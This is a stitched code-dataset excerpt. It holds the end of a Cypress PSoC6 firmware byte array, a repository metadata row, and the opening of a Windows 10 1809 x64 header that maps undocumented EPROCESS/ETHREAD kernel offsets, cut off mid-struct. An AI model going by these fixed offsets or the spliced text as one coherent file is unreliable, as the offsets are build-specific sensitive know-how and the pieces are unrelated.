0x00u, 0xf0u, 0xc8u, 0xf9u, 0xc3u, 0x68u, 0x5au, 0x68u, 0x01u, 0x23u, 0x11u, 0x68u, 0x19u, 0x43u, 0x11u, 0x60u,
0x11u, 0x68u, 0x19u, 0x42u, 0xfcu, 0xd1u, 0x20u, 0x00u, 0x00u, 0xf0u, 0xc4u, 0xf9u, 0x10u, 0xbdu, 0xf7u, 0xb5u,
0x00u, 0x90u, 0x00u, 0x20u, 0x01u, 0x91u, 0x00u, 0xf0u, 0xb5u, 0xf9u, 0x3fu, 0x4du, 0x06u, 0x00u, 0x2bu, 0x68u,
0x1au, 0x00u, 0x4cu, 0x33u, 0xb0u, 0x32u, 0x14u, 0x68u, 0x1bu, 0x78u, 0x04u, 0x19u, 0x00u, 0x2bu, 0x5au, 0xd0u,
0x00u, 0xf0u, 0x88u, 0xf9u, 0x07u, 0x00u, 0x03u, 0x28u, 0x1bu, 0xd0u, 0x00u, 0xf0u, 0x6bu, 0xf9u, 0x37u, 0x4au,
0x37u, 0x4bu, 0x05u, 0x00u, 0xd3u, 0x58u, 0x00u, 0x2bu, 0x3eu, 0xdau, 0x36u, 0x4au, 0x01u, 0x21u, 0x30u, 0x00u,
0x00u, 0xf0u, 0x68u, 0xf9u, 0x00u, 0x28u, 0x37u, 0xd1u, 0x01u, 0x98u, 0xffu, 0xf7u, 0x8fu, 0xffu, 0x00u, 0x9bu,
0x00u, 0x2bu, 0x3eu, 0xd0u, 0x23u, 0x68u, 0x00u, 0x2bu, 0xfcu, 0xdbu, 0x00u, 0xf0u, 0x9bu, 0xf9u, 0x04u, 0x00u,
0x2bu, 0xe0u, 0x06u, 0x20u, 0x00u, 0xf0u, 0x86u, 0xf9u, 0x2bu, 0x68u, 0xb0u, 0x33u, 0x1bu, 0x68u, 0xc0u, 0x18u,
0x03u, 0x68u, 0x00u, 0x2bu, 0x02u, 0xdau, 0x28u, 0x4cu, 0x20u, 0x00u, 0xfeu, 0xbdu, 0x00u, 0x20u, 0x00u, 0xf0u,
0x51u, 0xf9u, 0x26u, 0x4bu, 0x98u, 0x42u, 0xf6u, 0xd0u, 0x00u, 0x23u, 0x25u, 0x4au, 0x19u, 0x00u, 0x12u, 0x68u,
0x01u, 0x20u, 0x00u, 0xf0u, 0x5fu, 0xf9u, 0x00u, 0x25u, 0xa8u, 0x42u, 0xecu, 0xd1u, 0x00u, 0x20u, 0x00u, 0xf0u,
0x41u, 0xf9u, 0x1eu, 0x4au, 0x1fu, 0x4bu, 0x90u, 0x42u, 0x03u, 0xd0u, 0x9du, 0x42u, 0xe3u, 0xd0u, 0x01u, 0x35u,
0xf4u, 0xe7u, 0x9du, 0x42u, 0xb9u, 0xd1u, 0xdeu, 0xe7u, 0x17u, 0x4cu, 0x03u, 0x2fu, 0x05u, 0xd1u, 0x01u, 0x21u,
0x00u, 0x20u, 0x00u, 0xf0u, 0x4fu, 0xf9u, 0x00u, 0x28u, 0xf9u, 0xd1u, 0x28u, 0x00u, 0x00u, 0xf0u, 0x5au, 0xf9u,
0xd2u, 0xe7u, 0x15u, 0x4cu, 0xf1u, 0xe7u, 0x00u, 0xf0u, 0x15u, 0xf9u, 0x0eu, 0x4au, 0x05u, 0x00u, 0x01u, 0x21u,
0x30u, 0x00u, 0x00u, 0xf0u, 0x17u, 0xf9u, 0x00u, 0x28u, 0x09u, 0xd1u, 0x00u, 0x9bu, 0x00u, 0x2bu, 0x08u, 0xd0u,
0x23u, 0x68u, 0x00u, 0x2bu, 0xfcu, 0xdbu, 0x00u, 0xf0u, 0x4du, 0xf9u, 0x04u, 0x00u, 0xe5u, 0xe7u, 0x06u, 0x4cu,
0xe3u, 0xe7u, 0x09u, 0x4cu, 0xe1u, 0xe7u, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u, 0x00u, 0x00u, 0x26u, 0x40u,
0x1cu, 0x05u, 0x00u, 0x00u, 0x4cu, 0x05u, 0x00u, 0x08u, 0x05u, 0x00u, 0x52u, 0x00u, 0x01u, 0x01u, 0x88u, 0x00u,
0x5cu, 0x05u, 0x00u, 0x08u, 0xf0u, 0x49u, 0x02u, 0x00u, 0x01u, 0x00u, 0x50u, 0x00u, 0xf0u, 0xb5u, 0x6bu, 0x4du,
0x07u, 0x24u, 0x2bu, 0x68u, 0x85u, 0xb0u, 0x1au, 0x00u, 0x03u, 0x90u, 0xacu, 0x32u, 0x12u, 0x88u, 0x54u, 0x43u,
0x1au, 0x6au, 0x5bu, 0x68u, 0xa2u, 0x18u, 0x01u, 0x92u, 0x02u, 0x93u, 0x01u, 0x9bu, 0x1bu, 0x68u, 0x00u, 0x2bu,
0xfbu, 0xdau, 0x00u, 0xf0u, 0xf7u, 0xf8u, 0x2au, 0x68u, 0x13u, 0x00u, 0xacu, 0x33u, 0x19u, 0x88u, 0x07u, 0x23u,
0x4bu, 0x43u, 0x21u, 0x28u, 0x00u, 0xd0u, 0x8cu, 0xe0u, 0x11u, 0x6au, 0x5bu, 0x18u, 0x02u, 0x21u, 0xd8u, 0x68u,
0x01u, 0x43u, 0xd9u, 0x60u, 0xd9u, 0x68u, 0xc9u, 0x07u, 0x2bu, 0xd5u, 0x15u, 0x00u, 0x16u, 0x00u, 0xd9u, 0x68u,
0x01u, 0xcdu, 0x08u, 0x36u, 0xf4u, 0x6fu, 0x8cu, 0x46u, 0xe9u, 0x6fu, 0x41u, 0x18u, 0x00u, 0x19u, 0xffu, 0x24u,
0x0fu, 0x68u, 0x24u, 0x04u, 0x3fu, 0x02u, 0x27u, 0x40u, 0x64u, 0x46u, 0x00u, 0x68u, 0xa4u, 0xb2u, 0x00u, 0x0au,
0x00u, 0x06u, 0x27u, 0x43u, 0x07u, 0x43u, 0x90u, 0x20u, 0xdfu, 0x60u, 0x0bu, 0x68u, 0x4cu, 0x4fu, 0x00u, 0x01u,
0x3bu, 0x40u, 0x03u, 0x43u, 0x0bu, 0x60u, 0x13u, 0x68u, 0xf1u, 0x6fu, 0x5bu, 0x18u, 0x19u, 0x68u, 0x0fu, 0x40u,
0x38u, 0x43u, 0x18u, 0x60u, 0x13u, 0x68u, 0xeau, 0x6fu, 0x9au, 0x18u, 0x12u, 0x68u, 0xf2u, 0x6fu, 0x9bu, 0x18u,
0x1bu, 0x68u, 0x42u, 0x4du, 0x2au, 0x68u, 0x13u, 0x00u, 0xacu, 0x33u, 0x19u, 0x88u, 0x07u, 0x23u, 0x4bu, 0x43u,
0x12u, 0x6au, 0x9bu, 0x18u, 0x00u, 0x22u, 0x5au, 0x60u, 0x04u, 0x23u, 0x3eu, 0x4au, 0x11u, 0x69u, 0x0bu, 0x43u,
0x13u, 0x61u, 0x03u, 0x9bu, 0x01u, 0x2bu, 0x49u, 0xd0u, 0x30u, 0xbfu, 0x01u, 0x9bu, 0x1bu, 0x68u, 0x00u, 0x2bu,
0xfbu, 0xdau, 0x00u, 0xf0u, 0x9fu, 0xf8u, 0x21u, 0x28u, 0x42u, 0xd1u, 0x29u, 0x68u, 0x07u, 0x22u, 0x0bu, 0x00u,
0x01u, 0x24u, 0xacu, 0x33u, 0x1bu, 0x88u, 0x00u, 0x20u, 0x5au, 0x43u, 0x0bu, 0x6au, 0xd3u, 0x18u, 0xddu, 0x68u,
0x25u, 0x42u, 0x1bu, 0xd0u, 0x08u, 0x1du, 0x0du, 0x68u, 0xc0u, 0x6fu, 0x2du, 0x4eu, 0x28u, 0x18u, 0x05u, 0x68u,
0xdbu, 0x68u, 0x35u, 0x40u, 0x1bu, 0x0cu, 0x1bu, 0x06u, 0x1bu, 0x0cu, 0x2bu, 0x43u, 0x03u, 0x60u, 0x0bu, 0x00u,
0x08u, 0x33u, 0xd8u, 0x6fu, 0x0bu, 0x68u, 0x18u, 0x18u, 0x0bu, 0x6au, 0x05u, 0x68u, 0xd3u, 0x18u, 0xdbu, 0x68u,
0x2eu, 0x40u, 0x1bu, 0x0eu, 0x1bu, 0x02u, 0x33u, 0x43u, 0x03u, 0x60u, 0x20u, 0x00u, 0x0bu, 0x6au, 0x02u, 0x21u,
0xd2u, 0x18u, 0xd3u, 0x68u, 0x8bu, 0x43u, 0xd3u, 0x60u, 0x1cu, 0x4bu, 0x1au, 0x68u, 0x13u, 0x00u, 0xacu, 0x33u,
0x19u, 0x88u, 0x07u, 0x23u, 0x4bu, 0x43u, 0x12u, 0x6au, 0x9bu, 0x18u, 0x00u, 0x22u, 0x5au, 0x60u, 0x05u, 0xb0u,
0xf0u, 0xbdu, 0x12u, 0x6au, 0x9bu, 0x18u, 0x18u, 0x4au, 0xdau, 0x60u, 0xa2u, 0xe7u, 0x20u, 0xbfu, 0xb4u, 0xe7u,
0x00u, 0x20u, 0x02u, 0x9bu, 0xfcu, 0x33u, 0x1bu, 0x69u, 0x83u, 0x42u, 0xe5u, 0xd1u, 0xa3u, 0x20u, 0x13u, 0x4bu,
0x13u, 0x49u, 0x14u, 0x4au, 0x14u, 0x4fu, 0xc0u, 0x00u, 0x0eu, 0x68u, 0x1du, 0x58u, 0x14u, 0x68u, 0x0fu, 0x60u,
0x06u, 0x27u, 0x1fu, 0x50u, 0x3eu, 0x20u, 0x10u, 0x60u, 0x10u, 0x48u, 0x3eu, 0x37u, 0x1fu, 0x50u, 0x1fu, 0x58u,
0x00u, 0x2fu, 0xfcu, 0xdau, 0x02u, 0x98u, 0x0eu, 0x4fu, 0xfcu, 0x30u, 0x07u, 0x61u, 0x0eu, 0x60u, 0xa3u, 0x21u,
0xc9u, 0x00u, 0x5du, 0x50u, 0x01u, 0x20u, 0x14u, 0x60u, 0xc6u, 0xe7u, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u,
0xffu, 0x00u, 0xffu, 0xffu, 0x00u, 0xedu, 0x00u, 0xe0u, 0x68u, 0x05u, 0x00u, 0x08u, 0x00u, 0x00u, 0x26u, 0x40u,
0x08u, 0x01u, 0x26u, 0x40u, 0x04u, 0x01u, 0x26u, 0x40u, 0x1eu, 0x1fu, 0x00u, 0x00u, 0x1cu, 0x05u, 0x00u, 0x00u,
0xaau, 0xaau, 0xaau, 0xaau, 0x01u, 0xb4u, 0x02u, 0x48u, 0x84u, 0x46u, 0x01u, 0xbcu, 0x60u, 0x47u, 0x00u, 0xbfu,
0xdbu, 0x00u, 0x00u, 0x10u, 0x01u, 0xb4u, 0x02u, 0x48u, 0x84u, 0x46u, 0x01u, 0xbcu, 0x60u, 0x47u, 0x00u, 0xbfu,
0x69u, 0x60u, 0x00u, 0x10u, 0x01u, 0xb4u, 0x02u, 0x48u, 0x84u, 0x46u, 0x01u, 0xbcu, 0x60u, 0x47u, 0x00u, 0xbfu,
0xa5u, 0x63u, 0x00u, 0x10u, 0x01u, 0xb4u, 0x02u, 0x48u, 0x84u, 0x46u, 0x01u, 0xbcu, 0x60u, 0x47u, 0x00u, 0xbfu,
0x45u, 0x6au, 0x00u, 0x10u, 0x01u, 0xb4u, 0x02u, 0x48u, 0x84u, 0x46u, 0x01u, 0xbcu, 0x60u, 0x47u, 0x00u, 0xbfu,
0x25u, 0x65u, 0x00u, 0x10u, 0x01u, 0xb4u, 0x02u, 0x48u, 0x84u, 0x46u, 0x01u, 0xbcu, 0x60u, 0x47u, 0x00u, 0xbfu,
0x75u, 0x61u, 0x00u, 0x10u, 0x01u, 0xb4u, 0x02u, 0x48u, 0x84u, 0x46u, 0x01u, 0xbcu, 0x60u, 0x47u, 0x00u, 0xbfu,
0x31u, 0x63u, 0x00u, 0x10u, 0x01u, 0xb4u, 0x02u, 0x48u, 0x84u, 0x46u, 0x01u, 0xbcu, 0x60u, 0x47u, 0x00u, 0xbfu,
0x41u, 0x5fu, 0x00u, 0x10u, 0x01u, 0xb4u, 0x02u, 0x48u, 0x84u, 0x46u, 0x01u, 0xbcu, 0x60u, 0x47u, 0x00u, 0xbfu,
0xe3u, 0x00u, 0x00u, 0x10u, 0x01u, 0xb4u, 0x02u, 0x48u, 0x84u, 0x46u, 0x01u, 0xbcu, 0x60u, 0x47u, 0x00u, 0xbfu,
0x05u, 0x60u, 0x00u, 0x10u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
};
#endif /* defined(CY_DEVICE_PSOC6A512K) */
| [
"opm@cypress.com"
] | opm@cypress.com |
b1627fbacd5c34175192acbf5b9e75c8a924d0bf | 6b0a9609bed4a5768a876b855a47f2d1e2c58043 | /KeyboardEncrypt/Win10_1809_x64.h | be2e94c17631ba32e4a5b6a8025dd2b38dde26f6 | [] | no_license | zha0/KeyboardEncrypt | b5ce3c0f4d0eba93314482f8bae763a138b84b85 | 523241de81bc5e3cd43b53406016580833973092 | refs/heads/master | 2022-03-27T17:06:30.797665 | 2020-01-14T02:44:05 | 2020-01-14T02:45:54 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 23,128 | h | #pragma once
#include <ntdef.h>
struct _MY_EPROCESS_WIN10_1809_X64_
{
UCHAR PcbAndOthers[0x488]; // +0x000 Pcb : _KPROCESS
// + 0x2d8 ProcessLock : _EX_PUSH_LOCK
// + 0x2e0 UniqueProcessId : Ptr64 Void
// + 0x2e8 ActiveProcessLinks : _LIST_ENTRY
// + 0x2f8 RundownProtect : _EX_RUNDOWN_REF
// + 0x300 Flags2 : Uint4B
// + 0x300 JobNotReallyActive : Pos 0, 1 Bit
// + 0x300 AccountingFolded : Pos 1, 1 Bit
// + 0x300 NewProcessReported : Pos 2, 1 Bit
// + 0x300 ExitProcessReported : Pos 3, 1 Bit
// + 0x300 ReportCommitChanges : Pos 4, 1 Bit
// + 0x300 LastReportMemory : Pos 5, 1 Bit
// + 0x300 ForceWakeCharge : Pos 6, 1 Bit
// + 0x300 CrossSessionCreate : Pos 7, 1 Bit
// + 0x300 NeedsHandleRundown : Pos 8, 1 Bit
// + 0x300 RefTraceEnabled : Pos 9, 1 Bit
// + 0x300 PicoCreated : Pos 10, 1 Bit
// + 0x300 EmptyJobEvaluated : Pos 11, 1 Bit
// + 0x300 DefaultPagePriority : Pos 12, 3 Bits
// + 0x300 PrimaryTokenFrozen : Pos 15, 1 Bit
// + 0x300 ProcessVerifierTarget : Pos 16, 1 Bit
// + 0x300 RestrictSetThreadContext : Pos 17, 1 Bit
// + 0x300 AffinityPermanent : Pos 18, 1 Bit
// + 0x300 AffinityUpdateEnable : Pos 19, 1 Bit
// + 0x300 PropagateNode : Pos 20, 1 Bit
// + 0x300 ExplicitAffinity : Pos 21, 1 Bit
// + 0x300 ProcessExecutionState : Pos 22, 2 Bits
// + 0x300 EnableReadVmLogging : Pos 24, 1 Bit
// + 0x300 EnableWriteVmLogging : Pos 25, 1 Bit
// + 0x300 FatalAccessTerminationRequested : Pos 26, 1 Bit
// + 0x300 DisableSystemAllowedCpuSet : Pos 27, 1 Bit
// + 0x300 ProcessStateChangeRequest : Pos 28, 2 Bits
// + 0x300 ProcessStateChangeInProgress : Pos 30, 1 Bit
// + 0x300 InPrivate : Pos 31, 1 Bit
// + 0x304 Flags : Uint4B
// + 0x304 CreateReported : Pos 0, 1 Bit
// + 0x304 NoDebugInherit : Pos 1, 1 Bit
// + 0x304 ProcessExiting : Pos 2, 1 Bit
// + 0x304 ProcessDelete : Pos 3, 1 Bit
// + 0x304 ManageExecutableMemoryWrites : Pos 4, 1 Bit
// + 0x304 VmDeleted : Pos 5, 1 Bit
// + 0x304 OutswapEnabled : Pos 6, 1 Bit
// + 0x304 Outswapped : Pos 7, 1 Bit
// + 0x304 FailFastOnCommitFail : Pos 8, 1 Bit
// + 0x304 Wow64VaSpace4Gb : Pos 9, 1 Bit
// + 0x304 AddressSpaceInitialized : Pos 10, 2 Bits
// + 0x304 SetTimerResolution : Pos 12, 1 Bit
// + 0x304 BreakOnTermination : Pos 13, 1 Bit
// + 0x304 DeprioritizeViews : Pos 14, 1 Bit
// + 0x304 WriteWatch : Pos 15, 1 Bit
// + 0x304 ProcessInSession : Pos 16, 1 Bit
// + 0x304 OverrideAddressSpace : Pos 17, 1 Bit
// + 0x304 HasAddressSpace : Pos 18, 1 Bit
// + 0x304 LaunchPrefetched : Pos 19, 1 Bit
// + 0x304 Background : Pos 20, 1 Bit
// + 0x304 VmTopDown : Pos 21, 1 Bit
// + 0x304 ImageNotifyDone : Pos 22, 1 Bit
// + 0x304 PdeUpdateNeeded : Pos 23, 1 Bit
// + 0x304 VdmAllowed : Pos 24, 1 Bit
// + 0x304 ProcessRundown : Pos 25, 1 Bit
// + 0x304 ProcessInserted : Pos 26, 1 Bit
// + 0x304 DefaultIoPriority : Pos 27, 3 Bits
// + 0x304 ProcessSelfDelete : Pos 30, 1 Bit
// + 0x304 SetTimerResolutionLink : Pos 31, 1 Bit
// + 0x308 CreateTime : _LARGE_INTEGER
// + 0x310 ProcessQuotaUsage : [2] Uint8B
// + 0x320 ProcessQuotaPeak : [2] Uint8B
// + 0x330 PeakVirtualSize : Uint8B
// + 0x338 VirtualSize : Uint8B
// + 0x340 SessionProcessLinks : _LIST_ENTRY
// + 0x350 ExceptionPortData : Ptr64 Void
// + 0x350 ExceptionPortValue : Uint8B
// + 0x350 ExceptionPortState : Pos 0, 3 Bits
// + 0x358 Token : _EX_FAST_REF
// + 0x360 MmReserved : Uint8B
// + 0x368 AddressCreationLock : _EX_PUSH_LOCK
// + 0x370 PageTableCommitmentLock : _EX_PUSH_LOCK
// + 0x378 RotateInProgress : Ptr64 _ETHREAD
// + 0x380 ForkInProgress : Ptr64 _ETHREAD
// + 0x388 CommitChargeJob : Ptr64 _EJOB
// + 0x390 CloneRoot : _RTL_AVL_TREE
// + 0x398 NumberOfPrivatePages : Uint8B
// + 0x3a0 NumberOfLockedPages : Uint8B
// + 0x3a8 Win32Process : Ptr64 Void
// + 0x3b0 Job : Ptr64 _EJOB
// + 0x3b8 SectionObject : Ptr64 Void
// + 0x3c0 SectionBaseAddress : Ptr64 Void
// + 0x3c8 Cookie : Uint4B
// + 0x3d0 WorkingSetWatch : Ptr64 _PAGEFAULT_HISTORY
// + 0x3d8 Win32WindowStation : Ptr64 Void
// + 0x3e0 InheritedFromUniqueProcessId : Ptr64 Void
// + 0x3e8 Spare0 : Ptr64 Void
// + 0x3f0 OwnerProcessId : Uint8B
// + 0x3f8 Peb : Ptr64 _PEB
// + 0x400 Session : Ptr64 _MM_SESSION_SPACE
// + 0x408 Spare1 : Ptr64 Void
// + 0x410 QuotaBlock : Ptr64 _EPROCESS_QUOTA_BLOCK
// + 0x418 ObjectTable : Ptr64 _HANDLE_TABLE
// + 0x420 DebugPort : Ptr64 Void
// + 0x428 WoW64Process : Ptr64 _EWOW64PROCESS
// + 0x430 DeviceMap : Ptr64 Void
// + 0x438 EtwDataSource : Ptr64 Void
// + 0x440 PageDirectoryPte : Uint8B
// + 0x448 ImageFilePointer : Ptr64 _FILE_OBJECT
// + 0x450 ImageFileName : [15] UChar
// + 0x45f PriorityClass : UChar
// + 0x460 SecurityPort : Ptr64 Void
// + 0x468 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
// + 0x470 JobLinks : _LIST_ENTRY
// + 0x480 HighestUserAddress : Ptr64 Void
LIST_ENTRY ThreadListHead; // + 0x488 ThreadListHead : _LIST_ENTRY
// + 0x498 ActiveThreads : Uint4B
// + 0x49c ImagePathHash : Uint4B
// + 0x4a0 DefaultHardErrorProcessing : Uint4B
// + 0x4a4 LastThreadExitStatus : Int4B
// + 0x4a8 PrefetchTrace : _EX_FAST_REF
// + 0x4b0 LockedPagesList : Ptr64 Void
// + 0x4b8 ReadOperationCount : _LARGE_INTEGER
// + 0x4c0 WriteOperationCount : _LARGE_INTEGER
// + 0x4c8 OtherOperationCount : _LARGE_INTEGER
// + 0x4d0 ReadTransferCount : _LARGE_INTEGER
// + 0x4d8 WriteTransferCount : _LARGE_INTEGER
// + 0x4e0 OtherTransferCount : _LARGE_INTEGER
// + 0x4e8 CommitChargeLimit : Uint8B
// + 0x4f0 CommitCharge : Uint8B
// + 0x4f8 CommitChargePeak : Uint8B
// + 0x500 Vm : _MMSUPPORT_FULL
// + 0x610 MmProcessLinks : _LIST_ENTRY
// + 0x620 ModifiedPageCount : Uint4B
// + 0x624 ExitStatus : Int4B
// + 0x628 VadRoot : _RTL_AVL_TREE
// + 0x630 VadHint : Ptr64 Void
// + 0x638 VadCount : Uint8B
// + 0x640 VadPhysicalPages : Uint8B
// + 0x648 VadPhysicalPagesLimit : Uint8B
// + 0x650 AlpcContext : _ALPC_PROCESS_CONTEXT
// + 0x670 TimerResolutionLink : _LIST_ENTRY
// + 0x680 TimerResolutionStackRecord : Ptr64 _PO_DIAG_STACK_RECORD
// + 0x688 RequestedTimerResolution : Uint4B
// + 0x68c SmallestTimerResolution : Uint4B
// + 0x690 ExitTime : _LARGE_INTEGER
// + 0x698 InvertedFunctionTable : Ptr64 _INVERTED_FUNCTION_TABLE
// + 0x6a0 InvertedFunctionTableLock : _EX_PUSH_LOCK
// + 0x6a8 ActiveThreadsHighWatermark : Uint4B
// + 0x6ac LargePrivateVadCount : Uint4B
// + 0x6b0 ThreadListLock : _EX_PUSH_LOCK
// + 0x6b8 WnfContext : Ptr64 Void
// + 0x6c0 ServerSilo : Ptr64 _EJOB
// + 0x6c8 SignatureLevel : UChar
// + 0x6c9 SectionSignatureLevel : UChar
// + 0x6ca Protection : _PS_PROTECTION
// + 0x6cb HangCount : Pos 0, 3 Bits
// + 0x6cb GhostCount : Pos 3, 3 Bits
// + 0x6cb PrefilterException : Pos 6, 1 Bit
// + 0x6cc Flags3 : Uint4B
// + 0x6cc Minimal : Pos 0, 1 Bit
// + 0x6cc ReplacingPageRoot : Pos 1, 1 Bit
// + 0x6cc Crashed : Pos 2, 1 Bit
// + 0x6cc JobVadsAreTracked : Pos 3, 1 Bit
// + 0x6cc VadTrackingDisabled : Pos 4, 1 Bit
// + 0x6cc AuxiliaryProcess : Pos 5, 1 Bit
// + 0x6cc SubsystemProcess : Pos 6, 1 Bit
// + 0x6cc IndirectCpuSets : Pos 7, 1 Bit
// + 0x6cc RelinquishedCommit : Pos 8, 1 Bit
// + 0x6cc HighGraphicsPriority : Pos 9, 1 Bit
// + 0x6cc CommitFailLogged : Pos 10, 1 Bit
// + 0x6cc ReserveFailLogged : Pos 11, 1 Bit
// + 0x6cc SystemProcess : Pos 12, 1 Bit
// + 0x6cc HideImageBaseAddresses : Pos 13, 1 Bit
// + 0x6cc AddressPolicyFrozen : Pos 14, 1 Bit
// + 0x6cc ProcessFirstResume : Pos 15, 1 Bit
// + 0x6cc ForegroundExternal : Pos 16, 1 Bit
// + 0x6cc ForegroundSystem : Pos 17, 1 Bit
// + 0x6cc HighMemoryPriority : Pos 18, 1 Bit
// + 0x6cc EnableProcessSuspendResumeLogging : Pos 19, 1 Bit
// + 0x6cc EnableThreadSuspendResumeLogging : Pos 20, 1 Bit
// + 0x6cc SecurityDomainChanged : Pos 21, 1 Bit
// + 0x6cc SecurityFreezeComplete : Pos 22, 1 Bit
// + 0x6cc VmProcessorHost : Pos 23, 1 Bit
// + 0x6d0 DeviceAsid : Int4B
// + 0x6d8 SvmData : Ptr64 Void
// + 0x6e0 SvmProcessLock : _EX_PUSH_LOCK
// + 0x6e8 SvmLock : Uint8B
// + 0x6f0 SvmProcessDeviceListHead : _LIST_ENTRY
// + 0x700 LastFreezeInterruptTime : Uint8B
// + 0x708 DiskCounters : Ptr64 _PROCESS_DISK_COUNTERS
// + 0x710 PicoContext : Ptr64 Void
// + 0x718 EnclaveTable : Ptr64 Void
// + 0x720 EnclaveNumber : Uint8B
// + 0x728 EnclaveLock : _EX_PUSH_LOCK
// + 0x730 HighPriorityFaultsAllowed : Uint4B
// + 0x738 EnergyContext : Ptr64 _PO_PROCESS_ENERGY_CONTEXT
// + 0x740 VmContext : Ptr64 Void
// + 0x748 SequenceNumber : Uint8B
// + 0x750 CreateInterruptTime : Uint8B
// + 0x758 CreateUnbiasedInterruptTime : Uint8B
// + 0x760 TotalUnbiasedFrozenTime : Uint8B
// + 0x768 LastAppStateUpdateTime : Uint8B
// + 0x770 LastAppStateUptime : Pos 0, 61 Bits
// + 0x770 LastAppState : Pos 61, 3 Bits
// + 0x778 SharedCommitCharge : Uint8B
// + 0x780 SharedCommitLock : _EX_PUSH_LOCK
// + 0x788 SharedCommitLinks : _LIST_ENTRY
// + 0x798 AllowedCpuSets : Uint8B
// + 0x7a0 DefaultCpuSets : Uint8B
// + 0x798 AllowedCpuSetsIndirect : Ptr64 Uint8B
// + 0x7a0 DefaultCpuSetsIndirect : Ptr64 Uint8B
// + 0x7a8 DiskIoAttribution : Ptr64 Void
// + 0x7b0 DxgProcess : Ptr64 Void
// + 0x7b8 Win32KFilterSet : Uint4B
// + 0x7c0 ProcessTimerDelay : _PS_INTERLOCKED_TIMER_DELAY_VALUES
// + 0x7c8 KTimerSets : Uint4B
// + 0x7cc KTimer2Sets : Uint4B
// + 0x7d0 ThreadTimerSets : Uint4B
// + 0x7d8 VirtualTimerListLock : Uint8B
// + 0x7e0 VirtualTimerListHead : _LIST_ENTRY
// + 0x7f0 WakeChannel : _WNF_STATE_NAME
// + 0x7f0 WakeInfo : _PS_PROCESS_WAKE_INFORMATION
// + 0x820 MitigationFlags : Uint4B
// + 0x820 MitigationFlagsValues : <unnamed - tag>
// +0x824 MitigationFlags2 : Uint4B
// + 0x824 MitigationFlags2Values : <unnamed - tag>
// +0x828 PartitionObject : Ptr64 Void
// + 0x830 SecurityDomain : Uint8B
// + 0x838 ParentSecurityDomain : Uint8B
// + 0x840 CoverageSamplerContext : Ptr64 Void
// + 0x848 MmHotPatchContext : Ptr64 Void
};
struct _MY_ETHREAD_WIN10_1809_X64_
{
UCHAR TcbAndOthers[0x6a8]; // +0x000 Tcb : _KTHREAD
// + 0x5f0 CreateTime : _LARGE_INTEGER
// + 0x5f8 ExitTime : _LARGE_INTEGER
// + 0x5f8 KeyedWaitChain : _LIST_ENTRY
// + 0x608 PostBlockList : _LIST_ENTRY
// + 0x608 ForwardLinkShadow : Ptr64 Void
// + 0x610 StartAddress : Ptr64 Void
// + 0x618 TerminationPort : Ptr64 _TERMINATION_PORT
// + 0x618 ReaperLink : Ptr64 _ETHREAD
// + 0x618 KeyedWaitValue : Ptr64 Void
// + 0x620 ActiveTimerListLock : Uint8B
// + 0x628 ActiveTimerListHead : _LIST_ENTRY
// + 0x638 Cid : _CLIENT_ID
// + 0x648 KeyedWaitSemaphore : _KSEMAPHORE
// + 0x648 AlpcWaitSemaphore : _KSEMAPHORE
// + 0x668 ClientSecurity : _PS_CLIENT_SECURITY_CONTEXT
// + 0x670 IrpList : _LIST_ENTRY
// + 0x680 TopLevelIrp : Uint8B
// + 0x688 DeviceToVerify : Ptr64 _DEVICE_OBJECT
// + 0x690 Win32StartAddress : Ptr64 Void
// + 0x698 ChargeOnlySession : Ptr64 Void
// + 0x6a0 LegacyPowerObject : Ptr64 Void
LIST_ENTRY ThreadListEntry; // + 0x6a8 ThreadListEntry : _LIST_ENTRY
// + 0x6b8 RundownProtect : _EX_RUNDOWN_REF
// + 0x6c0 ThreadLock : _EX_PUSH_LOCK
// + 0x6c8 ReadClusterSize : Uint4B
// + 0x6cc MmLockOrdering : Int4B
// + 0x6d0 CrossThreadFlags : Uint4B
// + 0x6d0 Terminated : Pos 0, 1 Bit
// + 0x6d0 ThreadInserted : Pos 1, 1 Bit
// + 0x6d0 HideFromDebugger : Pos 2, 1 Bit
// + 0x6d0 ActiveImpersonationInfo : Pos 3, 1 Bit
// + 0x6d0 HardErrorsAreDisabled : Pos 4, 1 Bit
// + 0x6d0 BreakOnTermination : Pos 5, 1 Bit
// + 0x6d0 SkipCreationMsg : Pos 6, 1 Bit
// + 0x6d0 SkipTerminationMsg : Pos 7, 1 Bit
// + 0x6d0 CopyTokenOnOpen : Pos 8, 1 Bit
// + 0x6d0 ThreadIoPriority : Pos 9, 3 Bits
// + 0x6d0 ThreadPagePriority : Pos 12, 3 Bits
// + 0x6d0 RundownFail : Pos 15, 1 Bit
// + 0x6d0 UmsForceQueueTermination : Pos 16, 1 Bit
// + 0x6d0 IndirectCpuSets : Pos 17, 1 Bit
// + 0x6d0 DisableDynamicCodeOptOut : Pos 18, 1 Bit
// + 0x6d0 ExplicitCaseSensitivity : Pos 19, 1 Bit
// + 0x6d0 PicoNotifyExit : Pos 20, 1 Bit
// + 0x6d0 DbgWerUserReportActive : Pos 21, 1 Bit
// + 0x6d0 ForcedSelfTrimActive : Pos 22, 1 Bit
// + 0x6d0 SamplingCoverage : Pos 23, 1 Bit
// + 0x6d0 ReservedCrossThreadFlags : Pos 24, 8 Bits
// + 0x6d4 SameThreadPassiveFlags : Uint4B
// + 0x6d4 ActiveExWorker : Pos 0, 1 Bit
// + 0x6d4 MemoryMaker : Pos 1, 1 Bit
// + 0x6d4 StoreLockThread : Pos 2, 2 Bits
// + 0x6d4 ClonedThread : Pos 4, 1 Bit
// + 0x6d4 KeyedEventInUse : Pos 5, 1 Bit
// + 0x6d4 SelfTerminate : Pos 6, 1 Bit
// + 0x6d4 RespectIoPriority : Pos 7, 1 Bit
// + 0x6d4 ActivePageLists : Pos 8, 1 Bit
// + 0x6d4 SecureContext : Pos 9, 1 Bit
// + 0x6d4 ZeroPageThread : Pos 10, 1 Bit
// + 0x6d4 WorkloadClass : Pos 11, 1 Bit
// + 0x6d4 ReservedSameThreadPassiveFlags : Pos 12, 20 Bits
// + 0x6d8 SameThreadApcFlags : Uint4B
// + 0x6d8 OwnsProcessAddressSpaceExclusive : Pos 0, 1 Bit
